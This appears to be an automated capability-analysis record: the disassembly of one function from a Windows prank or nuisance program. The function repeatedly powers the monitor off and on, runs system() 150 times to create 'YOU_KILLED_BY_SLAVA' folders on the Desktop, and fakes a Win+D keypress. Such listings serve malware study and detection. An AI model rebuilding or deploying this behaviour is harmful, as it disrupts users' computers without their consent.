Function at 0x1400011c0
Capabilities:
Execute command
Power down monitor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x70
xor ebp, ebp
lea rdx, [0x1400033d0]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
lea ebx, [rbp + 5]
nop dword [rax]
mov edx, 0x112
mov ecx, 0xffff
mov r9d, 2
mov r8d, 0xf170
call qword [sym.imp.USER32.dll_SendMessageW]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x112
mov ecx, 0xffff
mov r9, 0xffffffffffffffff
mov r8d, 0xf170
call qword [sym.imp.USER32.dll_SendMessageW]
sub rbx, 1
jne 0x1400011f0
mov esi, ebp
lea r15, [0x14000340d]
lea r14, str.mkdir_C:Users_USERNAME_DesktopYOU_KILLED_BY_SLAVA
nop word [rax + rax]
mov edx, esi
lea rcx, [rsp + 0x50]
call fcn.1400014d0
nop
mov r8, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
sub rax, r8
cmp rax, 0x35
jb 0x1400012ed
lea rax, [r8 + 0x35]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x50]
cmp r15, rbx
jbe 0x1400012ab
lea rax, [rbx + r8]
cmp r14, rax
ja 0x1400012ab
cmp rbx, r14
ja 0x1400012a3
mov rdi, rbp
jmp 0x1400012b0
mov rdi, rbx
sub rdi, r14
jmp 0x1400012b0
mov edi, 0x35
lea rcx, [rbx + 0x35]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8d, 0x35
sub r8, rdi
lea rdx, [r14 + 0x35]
add rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x50]
jmp 0x140001305
mov qword [rsp + 0x28], 0x35
mov edx, 0x35
lea rcx, [rsp + 0x50]
call fcn.1400018d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rbp
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000138b
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001386
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001453
call fcn.140001aac
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400013db
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400013d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000145a
call fcn.140001aac
inc esi
cmp esi, 0x96
jl 0x140001250
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x5b
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x44
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
mov cl, 0x5b
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
mov cl, 0x44
call qword [sym.imp.USER32.dll_keybd_event]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400016b0
xor eax, eax
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3